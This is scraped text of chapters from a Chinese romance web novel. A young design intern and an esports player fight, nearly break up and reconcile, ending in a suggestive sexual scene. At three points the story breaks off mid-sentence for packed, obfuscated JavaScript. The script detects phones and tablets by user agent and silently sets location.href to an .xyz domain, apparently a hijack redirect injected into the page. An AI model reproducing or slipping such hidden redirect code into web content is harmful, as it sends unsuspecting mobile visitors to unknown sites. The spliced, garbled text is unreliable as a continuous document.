d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16003652|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她预判这一块还是宝刀不老啊。 谈继秋是面硬嘴软的那种人。 字面意义上的嘴软。 他的唇瓣很嫩,比刚刚吃过的焦糖布丁还要绵软。 他身上还香香的,有一种独属于他的清新气息。 秦见夏不确定那是不是沐浴露的味道。 谈继秋懵了一瞬,心脏当即软得一塌糊涂。 秦见夏亲得很乖,也不伸舌头,就只是像小猫一样舔着他的嘴唇。 谈继秋有些想笑,喉间一片痒意。 他很快便反客为主,托着她的后颈攻城略地。 昏暗狭窄的空间内,潮热温度节节攀升。 两人都有些喘不上气。 其实秦见夏刚刚差点往下顺藤摸瓜,但强迫自己忍住了,只是用手摸着他毛茸茸的后脑勺。 谈继秋倒是老实很多,只将右手放在她后颈处,连腰也不好意思碰。 绵长的一吻结束,两人又规规矩矩地坐回各自的座位上,像小学生一般,双眼无神地目视前方。 空气里,两人的呼吸声交缠在一起。 反正不能进行下一步,秦见夏提议:“要不各回各房吧,我还要回去剪视频,今晚蹭一下七夕的热度。” 谈继秋:“……” 有一种被用完就扔的荒唐感。 两人进了电梯又亲了一会,到达二楼时,秦见夏目睹谈继秋双颊绯红地支着帐篷走出去,心中遗憾连连。 “害羞什么?还用纸袋挡着……又不是没见过。” 谈继秋忍无可忍地回头瞪她一眼。 秦见夏抱着花束倚在电梯墙壁,得意地做了个鬼脸。 走回房间后,她重重叹息一声,随即直楞楞地倒进被子里,整张脸红成熟虾,打开经期记录一看,暗叹姨妈前果然非常欲|求|不|满。 她进浴室洗完澡出来,立刻开始剪视频。 秦见夏现在的小红书粉丝比较多,高达4.7万,报价也是一路水涨船高,视频报价已经涨到四位数,邮箱里天天躺着各种品牌方发来的合作邀约。 由于最近热度不错,为了保持粉丝粘性,秦见夏基本都是日更或隔日更。 反正是日常向的上班vlog,一条视频大概1-2分钟,每天睡前抽出两个小时剪辑就能完成,对她来说还算轻松。 这一个月来,她断断续续也接了一些护肤品和零食茶包的视频推广,起初还请教一下小如,之后就接得十分得心应手了。 图文推广容易毁号不接,三无小品牌不接,只接不易翻车且能穿插进vlog里的类型。 做自媒体唯一的坏处就是,不好意思光明正大地录视频。 偶尔在工位找刁钻角度偷偷录素材,会显得有些猥|琐。 好在公司里目前只有大发知道她在当vlog博主。 秦见夏一般都在午休时悄悄录,还没被同事发现,也没人认出来她。 今天的视频只多出了不到一分钟的七夕约会内容,秦见夏全程只点评了这家餐厅的菜品以及窗外的风景,连谈继秋的一片衣角都没有露出。 但还是有粉丝敏锐地察觉到了什么,评论比日常视频多一些—— 「总感觉夏夏对面是个男的」 「七夕去这种餐厅肯定是有男朋友啦」 「这个时候就有人要问了,夏笺夏笺你为什么这么可爱呀?」 「宝宝是不是去约会了」 「笑死,老婆白天当牛马有一种淡淡的死感,晚上立刻容光焕发」 「夏夏是不是谈恋爱啦?」 「宝宝的vlog还是这样萌^^」 「我刚刚刷到夏秋的超话了,我看cp粉简直是疯了,虽然jichoo确实帅,但主播你补药和竞男谈恋爱啊/流泪」 66. 哄习惯 谈继秋用小号给秦见夏的最新视频点完赞,一打开评论区就看到这条留言。 简直快把他气死了。 谈继秋本想截图下来,让秦见夏将这条评论删了,但还是忍不住问了一句:「姐妹,为什么不能和jichoo谈恋爱啊?」 那个小粉丝很快回复:「竞男学历太低,素质太差,还pc出轨,虽然jichoo的颜值遥遥领先,但我们夏夏很明显和这种高中辍学的不是一个层次的人」 小粉丝:「他粉丝也挺疯狂的,我不知道只是个活动同框有什么好磕的,气死我了/流泪」 谈继秋看完沉默地退出小红书。 她说的好像很有道理…… 秦见夏当然也看到了这条评论,她瞧见时,这条评论甚至已经有十几个赞了。 没想到最先反对这门亲事的竟然是她粉丝…… 秦见夏知道谈继秋会用小号看自己的视频,为了避免家庭内部矛盾,她当机立断将这条评论删除了。 然后给粉丝发私信解释:「不好意思宝宝,我刚刚把你的评论删掉啦,个人感觉在我这里提到jichoo老师似乎不太好~这样吧,宝宝方便的话可以把地址发给我,我寄个小礼物给你当做补偿,希望宝宝不要介意^^」 临睡前,粉丝发来了回复:「啊啊啊啊老婆你居然私信我了!!」 粉丝:「我不介意滴!!我的地址是XXXXXXXX」 粉丝:「宝宝其实我没有ky的意思,我在你发叶寻的时候就关注你了555」 粉丝:「老婆俺就是希望你一定要继续搞事业呀,不要和男人谈恋爱变成情侣博主/流泪」 粉丝:「我是事业粉/流泪,老师你什么时候继续画画/流泪」 好吧,秦见夏承认,自己的确日子过得一滋润起来,就不会再想画画和设计的事情了…… 况且她也并没有打算通过画画接稿来盈利,纯粹是为爱发电顺带填补一下作品集。 尤其是最近几个月在实习,天天对着电脑一打开ps就想吐,更别提私下自己创作了。 还是看谈继秋的脸更赏心悦目。 但——确实不能再这样颓废下去! 秦见夏准备回学校之后再继续搞自己的角色设计,这样也算是她校园生活vlog里的突出亮点。 校园vlog竞品太多,根据SWOT分析法,美术生这个标签应该是她的优势(也许吧,实则每次SWOT分析都是胡写的)。 短短一分钟,她连vlog标题都想好了——大四美术生在校一天都干了什么。 秦见夏又和粉丝聊了两句,给她下单了眼影盘后才去睡觉。 - 周四,辅导员在20级大群里发了开学通知,让大家31号报道。 虽说是31号报道,但这三年来也没人查,上课前到就行。 秦见夏刚好趁着上班摸鱼间隙,用电脑登录教务网站,查了一下新学期课表。 居然…… 四舍五入还是满课!? 周一周三周五都有半天专业课,这究竟是大四吗…… 那她的实习怎么办? 这才实习了一个多月。 刚好大四第一门专业课是范川的《设计创新实践》。 秦见夏只能硬着头皮打开川总的聊天框,打字问:「老师您好,我是20视传一班的秦见夏。开学在即,但我目前正在腾游实习,实习还未满三个月。所以想问下老师,创新实践课可以申请线上吗?或者可不可以请几周假,然后作业我按时交,每次我给您线上pre/鞠躬」 秦见夏字斟句酌地发送消息后,胆战心惊地继续工作。 川总很快回复:「你想得还挺美的/微笑」 川总:「哪怕你在暴雪总部实习也得回来上课,这是学院的硬性规定,我也没办法。」 川总:「而且疫情早都过去了,线上教学是要层层审批的,光给你一个人开线上那肯定不可能。」 川总:「或者你可以再问问你们辅导员,看还有没有操作空间。」 一看到“辅导员”三个字,秦见夏就知道彻底没戏了。 她的辅导员一定会以最小权力在最大程度上为难她。 然而,秦见夏还是再度厚着脸皮去找了辅导员,想着万一有机会呢。 结果就是意料之中的不可能。 辅导员不仅PUA她一顿,还威胁她说九月四号会亲自查人。 秦见夏:“……” 她无能狂怒地截掉头像把聊天记录发进朋友圈标签可见,然后疯狂输出了三百字。 发完朋友圈,理智回笼,秦见夏叹息一声,决定中午下班前给mentor解释一下,申请提前离职。 她把这件事给大发描述了一遍,问她们学院有没有这么非人性。 大发:「你翘课不就行了,我就是翘课来实习的,或者找代课呢?」 秦见夏:「我们一个班就十个人,老师谁都能叫上名字」 大发:「那蛮惨的……只能去上课了」 大发:「怕汪炜不给批离职的话你就提前找好继任,你的上一任就是这么跑的」 秦见夏在下班前总结了一下措辞,向汪炜提出离职。 汪炜难以置信地问了好几遍没有余地吗,秦见夏便把和范川以及辅导员的聊天记录截图发了过去,然后晓之以理、动之以情,相当遗憾地说,自己也没想到学院会这么不近人情。 汪炜当然是不想让秦见夏离职的。 秦见夏任劳任怨跟老黄牛似的,让改哪里改哪里,一点都不顶嘴,让她完成ip优化的额外工作也是恪尽职守。 不仅如此,作图速度快且保质保量,工作上基本不出错,学习能力也强,需求做不完还会主动加班,如此高质量小螺丝,谁用谁知道。 但——截图里的对话看起来确实挺难听的。 汪炜不放人也不行。 Mentor最终同意她离职,秦见夏其实是非常开心的。 这工作,谁干谁知道。 她早就不想做这种枯燥乏味的运营工作了! “助理设计师”这个称号说起来好听,实则就是美工,还是乙方中的乙方,和外包简直没什么区别,每天除了点头哈腰就是反复修改。 对于秦见夏来说,如果未来几十年都要在这里蹉跎的话,那还不如直接重开人生。 秦见夏分别给父母以及谈继秋说了自己离职的事情,大家都很支持,唯独赵霞问她:「那你的老男朋友怎么办?」 自从秦见夏和谈继秋确定关系后,她就将来龙去脉给妈妈讲了一遍。 赵霞当然很支持她的恋情,还感叹他俩真是天赐良缘——整天窝在房间里发霉都能被爱情闯进门。 全家唯独秦国海不满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16010207|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意。 而且是相当不满意。 一听谈继秋比闺女大四岁,再有钱都不满意(还不是本地人)。 他还罕见地生了好大的气,非说是她们母女俩只看脸。 赵霞最终以“我当初嫁给你也是只看你的脸”飞速结束战局。 于是秦国海又很快把自己哄好了。 事已至此,唯有无条件相信女儿。 不管怎么说,秦国海和赵霞还是十分信任秦见夏的。 秦见夏边在食堂排长队,边打字道:「妈!!!不要再说老男朋友了!人家只比我大四岁!」 赵霞:「好好好,小男朋友/憨笑」 赵霞:「你有没有考虑过之后异地的问题?」 秦见夏便将谈继秋说要和她一起去南城生活的事给她交代了。 赵霞对此却不持乐观态度:「说归说,他刚刚追到你肯定会承诺得很好听,宝宝不要太投入感情了,妈妈怕你会受伤。」 秦见夏:「我知道的,妈你放心吧~」 秦见夏:「我们九月四号开学,我买了二号的票回家,妈妈来车站接我哦~~~」 秦见夏:「图片」 赵霞:「ok」 谈继秋接到秦见夏下班时,才得知她已经买好了二号的车票离开晋海。 说心里话,他其实有些不高兴。 却并未发作。 谈继秋担心把好不容易追到的女朋友作没了。 而且,她粉丝都已经认为自己配不上她了…… 追妻之路依旧任重而道远。 然而秦见夏还是从他绷紧的嘴唇察觉出不对劲来。 她都哄习惯了…… 这家伙别扭的原因无非就是两种——吃醋和患得患失。 好吧,秦见夏承认,自己竟然有点乐在其中。 “怎么看起来不太开心?”秦见夏坐在副驾上,将脑袋倒成九十度去瞧他的眼睛。 “没有,”谈继秋面不改色地撒谎,“昨天熬夜直播了。” “你有。” 秦见夏现在已经对他的微表情了如指掌,伸手去戳他脸颊:“是因为我快要走了吗?” “是也不是吧。”谈继秋目视前方,声音不冷不热的。 本来工作一天,身心都疲乏,秦见夏闻言直接回过身子懒得理他,语气也不太好:“你这样什么都不说天天让别人猜很有成就感是吗?” “要是一直这样下去,咱们还不如好聚好……” “不是——”谈继秋打断她,整个人看起来更丧了,“我是想送你回家的……” “你可以送我去高铁站啊,”秦见夏侧目打量他,头却不动,“还是说,你想见家长?” 谈继秋思忖片刻,认真地看向她:“见家长也行。” 瞧着他甚至有些期待。 秦见夏感觉莫名其妙,还是笃定道:“肯定还有别的原因!” “没有,”谈继秋收回目光,回避地摇摇头,“没有了。” 秦见夏问不出来,只好就此作罢。 谈继秋今天还十分主动地在地库里吻她,秦见夏这才闻出,他身上有淡淡的男士香水味。 他之前可是从来都不喷香水的,事出反常必有妖。 秦见夏思及此,愤怒地将他一把推开:“谈继秋你是不是出轨了!” 正到兴头上的谈继秋:“?” 67. 配不上 “什么出轨?”谈继秋十分不解。 秦见夏又将他拉过来嗅了嗅:“你之前从来都不喷香水的!” 被戳穿小巧思的谈继秋:“……” 他整张脸瞬间爆红,眼神闪烁,摸着鼻尖不好意思瞧她,羞赧道:“好闻吗?” 秦见夏这才反应过来:“难道是为了勾引我?” 谈继秋:“……” 秦见夏当即对他又啃又咬,含糊不清道:“好闻……” 谈继秋见她不再提起别的,暗暗松了口气。 在晋海的最后一周,秦见夏却觉得谈继秋越来越奇怪了,不仅每天下班后要带她单独出去吃饭,甚至还天天精心打扮,隔三差五地给她送礼物,连例行晚安吻都比之前长五分钟。 傻子都能看出来是为什么。 秦见夏一直没找到机会挑明。 每次他不是拐到其他话题,就是直接简单粗暴地以吻封唇,然后她就很轻易地被谈继秋带跑了,很长时间后才会突然想起,之前的问题还没得到解决。 矛盾彻底爆发在九月一日。 起因是这天Fine说好了要请大家吃饭,刚好给秦见夏饯行,顺便见见弟妹。 结果,他不声不响地就把Daybreak给叫来了。 谈继秋当场脸色就不太好看。 不过他谈恋爱之前脸色也没好看过,大家早就对此免疫了,并没有察觉到不对劲。 甚至秦见夏也没有发觉。 等大家全部在包间坐好,Fine先是给秦见夏赔罪,自罚一杯:“弟妹呀,哥得先跟你说声抱歉,之前拿你打赌是我不对,我已经深刻反省过了,这事确实是我撺掇的老谈,不是他主动要求,希望不要影响到你们的感情……” Dollar在一旁起哄:“Fine这个*终于说句人话了,难得难得!” 小如暗地拧了他一下。 秦见夏闻言笑着起身回敬:“没有没有,罚金哥你不要这么客气,这么说的话,你还算我们的红娘呢!” 众人顿时笑声连连。 Fine也想着,这个姑娘还不错,挺大大方方的。 他又给秦见夏介绍了一下:“这个是Daybreak,你们应该是第一次见面,我听老谈说你俩还是同岁,而且他也是南城人呢,你还问他要了Daybreak的签名照是不是?” “樊鸣津,你说够了没。”谈继秋面无表情地出声打断。 Fine皱了一下眉头,正欲发作,秦见夏见状,连忙打着圆场:“久仰大名啊破皇,有机会再一起打游戏……” 谈继秋闻言更生气了,再度打断:“秦见夏。” 秦见夏不知道他又在闹什么别扭,只好在桌子底下用手戳了戳他。 Daybreak看起来比较社恐,红着脸,局促地说:“嫂子,你叫我张煦就行。” 谈继秋怎么听这声“嫂子”怎么不爽,已经气到平静。 秦见夏也觉得有点不好意思,同样红着脸说:“你也不用叫我嫂子,叫我秦见夏就行。” 此情此景,落在谈继秋眼里又是另一幅画面,他咬牙切齿地问Daybreak:“怎么没把你女朋友带来?” “刚好一起聚聚。”谈继秋笑得若无其事,声音像是从牙根里挤出来的。 Daybreak完全没察觉到他秋哥的情绪不对,听后挠了挠头,实诚地说:“秋哥,我们上个月就分手了……” 谈继秋:“……” 他彻底无语,再度恢复死人微活的状态。 只是抱臂倚在靠背上,看着秦见夏和大家相谈甚欢,整个人仿佛与世隔绝。 秦见夏首先察觉到男朋友的状态不对,凑近轻声问他是不是哪里不舒服。 她靠他很近,呼吸洒在他肌肤上,谈继秋心神微动,正欲开口—— Dollar看热闹不嫌事大:“妹你别理他,他就这死德行,来继续喝。” 秦见夏是热衷社交的人,谈继秋见她正在兴头,便也冲她摇摇头。 秦见夏最后担忧地看他一眼,随即就将他忘到脑后了。 Fine请大家吃的是私房菜,据说是他哥们开的新店,每道菜都吃得她意犹未尽、流连忘返。 Fine和Dollar聚在一起话就没完。 加之秦见夏话也没完,又是各个圈子都能聊一点那种“全面型人才”,还微微带点人来疯属性。 而且也好久没和人聚会了,便和大伙聊得有些忘我,甚至约了后半场去ktv。 这张桌子上,只有谈继秋和Daybreak不善言辞,其余人都热火朝天—— “诶罚金哥,你这个外号怎么来的来着?我想不起来了。” “之前rank的时候在公屏喷人,被官方罚钱了。” Dollar补充:“结果这狗后来知法犯法继续骂,给人家说‘老子有的是钱,今天就喷你五千块钱的’,这事传出去之后大家就开始叫他罚金哥。而且他id刚好也有罚金的意思,非常巧合。” “……” 男声女声笑声如浪潮拍岸,谈继秋像被隔绝在门外,又像置身于一叶扁舟。 他一直缄默不言,直到秦见夏喝汤时嫌头发碍事拢了几下,谈继秋才从手臂上将皮筋摘下来,递给她。 秦见夏一瞧发现是自己的那根,惊喜地小声问他:“我都没发现,你在戴我的小皮筋啊?” 谈继秋冷哼一声,又偏过头不理她。 秦见夏感觉他莫名其妙,但着急喝汤,将头发三下五除二绑好后迅速端起碗来。 谈继秋发现秦见夏还真就不哄他了,心里顿时更加难过。 女人果然得到了就不会珍惜。 不对,其实还不算完全得到。 他只能硬邦邦地主动凑上前解释:“你这根皮筋之前落在车上,被我收起来了,今天我见你披着头发,所以就带着备用……” “来,弟妹——”Fine不知道他俩在咬耳朵,眼看气氛到了,便端着酒杯起身,“明天妹就要离开晋海了,咱们大家干一杯,祝妹越来越好!” 无暇顾及谈继秋,秦见夏也端起酒杯站直身子,道谢后又说了几句场面话,直至坐下,才小声询问他:“你刚刚说什么?我没听清。” “没什么。” 谈继秋放下杯子,表情淡淡。 饭毕,来不及再去ktv,Fine于是提议要和秦见夏加微信,但马上十二点门禁,他和Daybreak都着急赶回基地,秦见夏便说回去让谈继秋直接推名片给她。 她在车上又和小如他们聊了一路自媒体的事,谈继秋滴酒未沾,只是沉默地充当司机的角色。 回到别墅时,小如和Dollar还要在一楼看会电视,好像是他俩最近在追一个很火的韩剧,正好更新了。 秦见夏喝得有些微醺,便直接走向电梯,打算上楼洗漱睡觉。 谈继秋将电梯截住,也不看秦见夏,径直走进来按下二层的按钮。 秦见夏困得打了个哈欠,对他说:“你一会别忘了把Fine和Daybreak的微信推给我……” “叮——”,电梯到达二楼。 秦见夏脑袋里仿佛被塞了团棉花,本来靠着墙壁好好的,突然手腕一紧,接着就如同落叶般被拽出电梯。 “嘭”一道响亮的关门声后,谈继秋将她按在门板上深吻。 他吻得发狠,还气得咬她一口。 秦见夏痛呼一声,用力将他推开:“谈继秋你属狗的啊!” 她抬起手背抹了一下嘴唇,即便在黑暗中也能感觉到被他咬出血了。 “你到底发什么神经!” “是,我发神经,”秦见夏身上的酒精似乎交换到谈继秋这里,他开始口不择言,“别的男人都比我好,你去找他们啊,你不是早就想和我分手了?” “我?”秦见夏指了指自己,感到一阵匪夷所思,不由得拔高声音,“我什么时候想和你分手了?你别无理取闹好不好!” “对,一直是我在无理取闹。” 谈继秋微微哽咽:“秦见夏,是我配不上你……” 她喜欢交朋友,喜欢出去玩,喜欢所有新鲜事物。 可是,谈继秋只想和她独处,两个人、一直在一起。 他有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16017701|173101||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些悲哀地发现,自己无论如何努力,本质上他还是和她截然相反的人。 这个发现使他痛苦。 仿佛有人将他的骨髓时刻浸在硫酸里。 谈继秋觉得,自己似乎不适合任何亲密关系。 秦见夏的伴侣应该是和她一样开朗的人才对。被他这种人腐蚀,这对她太不公平。 “我们分手吧。” 他艰难又坚定地砸下判词。 刚才秦见夏那句“无理取闹”脱口而出后,其实有些后悔。 她心里明白这样会伤到他,但她“嘴比脑子快”这个毛病似乎改不掉了。 秦见夏想着大不了一会多哄哄他,可他那句“分手”,如冰雹般劈头盖脸地砸了下来。 秦见夏本就被酒精麻痹的大脑更是一片混沌,被砸得发懵。 她甚至诡异地展开联想,谈继秋是不是在报复她之前随口说的那句“好聚好散”。 四周窒息般死寂。 秦见夏于是后知后觉,他并没有在开玩笑。 他是真的要分手。 她顿时怒发冲冠,心脏都快要跳出胸腔,感觉体内所有血液都在瞬间迸进大脑。 秦见夏耳边甚至能清晰地听到自己“咚咚”的心跳声——已经气到这种程度。 她“啪”地一下将灯拍开,正欲骂他几句,话还没喷出口,就对上他微湿的眼睛。 秦见夏燎原般的满腔怒火,一下子被他的眼泪浇灭了。 谈继秋适应不了光明地回身,避开她的视线,丧气地坐在床上。 她无奈叹息一声,彻底认输,走过去将他抱住。 秦见夏将脸埋进他胸口,闷闷地说:“谈继秋,你真的很不讲道理。” “刚刚咬我的是你,说分手的是你,掉眼泪的还是你。” “你到底想怎么样啊……” 她语气里的无可奈何快要溢出来。 谈继秋小心翼翼地将头颅垂进她的颈窝,艰涩道:“我们可能并不合适……秦见夏,你适合更好的人。” “我觉得挺合适的,”秦见夏将他搂得更紧,“你是不是不想跟我回南城啊?” “你可以直接说的。” “不是的。” 谈继秋的声音也闷闷的。 “那我们就和好吧,不吵了好不好?”秦见夏主动说,“我不想和你分手。” 真奇怪。 秦见夏感觉是自己更卑微才对,明明都是她在天天哄他,可掉眼泪的却是谈继秋。 察觉到脖间微湿,她又怪异地心想,他之前比赛输了也会这么哭吗……? 不过—— 总之,让恋人流眼泪,那一定是对方没有做到位。 “不行,”谈继秋坚持道,“我要和你分手。” “那你先把我松开。” 谈继秋却又不说话了,也不知道又在胡思乱想什么,秦见夏只是感觉脖颈更凉。 她忍无可忍地支起胳膊,将他推开,谈继秋顺势倒在床上,目光破碎。 “你是不是没有安全感?” “就因为我没公开?” 秦见夏抱起胳膊,居高临下地审视道。 不得不承认,谈继秋哭起来真让人怜爱,比他那副死人脸好看多了。 不止眼眶通红,连鼻尖都是红的。 谈继秋双手撑在身后,任由秦见夏抚上自己的脸颊。 “不是的,”他认真说,“我真心觉得你适合更好的人。” 谈继秋垂下眼睑,难过得不去看她。 见他这副脆弱的模样,秦见夏心里也很不好受,但今天必须把话说清楚,不能再这么不明不白下去。 “你就是没有安全感,”秦见夏笃定,“我现在公开能让你有安全感一点吗?” 谈继秋还是一言不发。 他要的并不是形式,他不想看到秦见夏妥协让步。 其实他也不知道,自己究竟需要什么。 秦见夏乏力地跪在床上,叹息道:“明明你比我更优秀啊,应该是我没有安全感才对……” “谈继秋,你能不能说实话,你到底想不想分手。” 68. 不分手 “不想。” 他坦诚地说:“我是觉得……” 谈继秋顿了顿,他并不是善于吐露心声的人,这让他感到十分陌生,而且危险。 纠结片刻,还是选择将自己剖开。 “你知道的,我其实是一个很无聊的人,也玩不开,我没有你这种和所有人打成一片的能力,也不喜欢热闹的环境。” 他尽量平静地,将自己和盘托出。 “还有,我不喜欢和别人分享你。” 这个形容使秦见夏挑了挑眉。 只听他又说:“你的注意力只要不在我身上,我就会没有安全感。” “这让我很痛苦。” “而且——”他挤牙膏般低吟,“如果你只喜欢我的脸……我也越来越接受不了。” 她像他濒死之际偶遇到的唯一一颗毒苹果。不吃会饿死,吃掉却会慢性中毒,直至毒发身亡。 爱让人变得贪心又痛苦。 秦见夏听他这样说,心疼又难过,羽翼似的睫毛颤了颤,也逐渐红了眼眶。 谈继秋于是更痛苦了。 量子力学或许是存在的。 爱这种宏大的叙述概念,没人能讲得清楚。 只是看见对方难过时,自己的难过会乘以千百计。 尤其是——这难过竟源于自己。 秦见夏有那么一瞬间想要放过他。 “所以你就要和我分手?” “彻底解决根源是吗?” 但她又觉得,凭什么呢。 “我就不分手——痛苦你也给我忍着,咱俩互相折磨到白头吧!” 谈继秋莫名觉得她这是在表白。 “什么叫我只喜欢你这张脸?” 秦见夏气得想笑,怒言:“换别人我早就把你祖宗都拉出来喷一顿了,还轮得到我天天哄祖宗似的哄你?我在我家都是被哄的那个,你别给脸不要脸。” “不对,”她摸向自己嘴唇上的伤口,发泄似的拍了拍他的下巴,“你这属于蹬鼻子上脸!” “你也别觉得自己是什么盛世美颜,世界上比你好看的人多了去了,你以为你是梁朝伟啊!” 谈继秋沉默,秦见夏继续输出:“我觉得你可能还是不够了解我。” “我这个人只是比较外向,但我性格没那么包容的,我要是真讨厌你,你长得再漂亮都不管用,梁朝伟来了也照样骂。” “既然你非觉得我不爱你,单纯只是好色看上你这张脸的话——”秦见夏话风一转,起身拍拍屁股准备离开,“那咱们还是分手吧,真是懒得再伺候你这王子病,刚好我明天也要走了,咱俩就此别过……” “别——”谈继秋眼疾手快地拉住她,坐起身子将她带进怀里,又开始掉眼泪,“我向你道歉,我不想和你分手,对不起。” 其实秦见夏不喜欢他向她道歉。 他并没有做错什么。 她任由他抱着,感到心里酸酸的,却还是压制住,故意说:“某人不是觉得我不走心吗,还说什么我让他很痛苦……” “你会不会嫌弃我?”谈继秋搂住她,有些急切,“我性格不好,学历低,家庭也不好,这些你都不在意吗?” 他很执着地需要一个答案。 秦见夏顿时笑出声来,仿佛听到世界上最好笑的笑话,笑到整个人都在发抖。 “你当我第一天认识你?” “这些我十六岁就全部知道了。” “可我就是很喜欢你啊,我一点都不觉得你没文化、性格差,我还知道你高一第一次月考得了年级第三。” “关于你的家庭你也没有选择权,相反你为了你姐姐选择对抗父母,这是很多人都做不到的,难道你一点都不觉得你很厉害吗?这点感觉能打败99%的男人。” “至于学历,你信不信我们文科类的毕业即失业,”她叹息,“大多数比你学历高的都没你这个赚钱能力。” “人无完人,你有缺点,我也并非完美,但这不妨碍我喜欢你,”秦见夏收起混不吝的姿态,也诚恳道歉,“之前我忽略了你的情绪,是我不对,我是想在你朋友那里留下一个好印象,加上我确实也比较喜欢聚会……” “这个改不掉,你忍忍吧。”秦见夏实诚道。 谈继秋哭笑不得,将她揽得更紧:“我没说让你改,我是想把自己优化掉。” “那我也不需要跟我一起爱热闹的对象啊……其实更需要你这种,最后开车的,”秦见夏说,“你为什么非要跟我一样才行,我不喜欢油嘴滑舌爱玩的男人。” “咱俩互补多好。” 她窝在他怀里,有些困了,声音疲惫:“谈继秋,我们别闹分手了好不好?我想和你好好在一起。” 她趴在他心口,四肢柔软地挂在他身上,将他的灵魂也包裹得密不透风。 谈继秋微微战栗,心脏像被塞进刚启封的气泡水里。 密密麻麻的气泡争先恐后地渗进每一个角落,试图将他填满。 算了,哪怕这些气泡最后会消散,他也甘愿。 “好。” 他郑重其事地许诺:“我们要好好在一起。” “晋海的房子我已经找好买家了,等你开学我就去南城看房,”谈继秋认真盘算着,“这样等你明年毕业就差不多装修完……” “喂——”秦见夏从他怀里拔出身,打断他,“你不觉得现在说这些很煞风景吗?” 谈继秋一脸无辜:“不觉得啊。” 秦见夏:“……” 他眼睫上还挂着泪滴,秦见夏无奈,帮他仔细拭去,忍不住吐槽:“以后要好好沟通,知道吗?生闷气或者把我推开解决不了任何问题。有时候你不说出来我是意识不到的,你说了我们才能解决问题啊。” “还有,你姐知道你这么爱哭吗?都快三十的人了还动不动就掉眼泪?之前被D…打退役了也没见你有其他表情。” 谈继秋老实地眨了眨眼睛:“一看到你就控制不住。” “那我还真是灵丹妙药。”她拍了拍他的脸,再度吐槽,“臭手回冬啊。” “除了眼泪控制不住……”秦见夏低头瞧了一眼,坏笑道,“其他地方也控制不住吧。” 谈继秋以为她没发现呢。 他整张脸迅速蹿红,红晕蔓延到脖子乃至衣领下,他挣扎着试图拉秦见夏起身,却被她一把推倒在床。 茫然无措间,听到秦见夏附在他耳边,轻声说:“我买了……现在我去拿。” “不行!”谈继秋当即别开脸,僵硬道,“你喝醉了。” “我没喝醉,我现在很清醒,”秦见夏这回成功顺藤摸瓜,另一只手将他的脸掰回来,边吻边说,“我都忍很久了。” 谈继秋随着她的动作,浑身猛地一颤,拼命抬手阻挡:“不行,别碰……” “你不是来那个了吗?”他突然想起什么,眸光微亮。 秦见夏仍然动手动脚:“前天就结束了。” “明天我就要走了,咱们要异地很长一段时间,”她诱哄道,“乖——你就从了我吧。” 谈继秋仍然死命握住腰带,抗拒道:“不行!” 秦见夏趴在他身上,无语地翻了个白眼:“为什么不行?你不喜欢我?还是你早*?” 谈继秋有时候真想捂住她的嘴。 为什么她一点也不害羞? “不行就是不行,进度太快我接受不了,”谈继秋的态度十分坚决,面红耳赤地偏过头,“而且第一次也不能这么随意啊……” “不过……”他红着脸,勉为其难道,“你要是难受我可以帮你。” 这下轮到秦见夏面红耳赤了。 好吧,她承认,或许是有些色急攻心。 然而秦见夏垂眸向下瞥了眼,戏谑地说:“可我看,现在好像是你更难受才对吧?” 谈继秋依旧像拼死不从的风流俏鳏夫一样,只是红着脸不敢瞧她,睫毛一扇一扇的。 他真是比秦见夏想象中还要纯情。 果然是处|男无疑了…… 思及此,秦见夏好奇地覆在他耳边,问:“你自己有没有……” 谈继秋顿时耳根爆红,憋了半天,才吐出一个:“有。” “想着谁?” “你……” “认识我之后才开始?不可能吧。” “真的……” “我认输了,”他的眼眶又开始泛红,“你放过我好不好。” “不好——”秦见夏还玩上瘾了,大发慈悲道,“我都说要帮你了,你还有什么不满意?” “听话一点,完事我就走。” 谈继秋将信将疑:“真的?” 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最后,蟒蛇餍足地舔了舔唇。 “你也挺快的。” 蟒蛇说。 如果有被子,向日葵一定会钻进去,蒙住头躲起来。 口嗨和实操是两码事。 秦见夏瞪他一眼,恼羞成怒地放下裙摆,起身整理了一下完好却被压出折痕的上衣,转身准备离开。 “等等,”谈继秋拽住她的手腕,不满道,“怎么用完就扔啊。” 他指了指自己的唇:“晚安吻。” 秦见夏现在已经完全无法直视他的嘴和鼻子了。 然而还是双颊绯红地凑近,贴上去,蜻蜓点水般落下一吻。 谈继秋又将这个吻加深,两人都喘不上气时,他总算餍足地放开秦见夏,得意地问道:“味道怎么样?” “不怎么样!” 秦见夏扔下这句话便落荒而逃。 临关门时,听到某人意犹未尽地说:“甜甜的。” “滚!!!” 谈继秋好笑地看着她凌乱的背影,拿起浴巾,径直走进浴室。 - 晚上,秦见夏居然又梦到了谈继秋。 梦里再度出现他挺翘的鼻梁,水润的红唇。 她同样攥着他漆黑的头发。 导致今天的她完全无法直视谈继秋的眼睛,总感觉异常心虚。 虽然没有真正开荤,但……她觉得,也大差不差了。 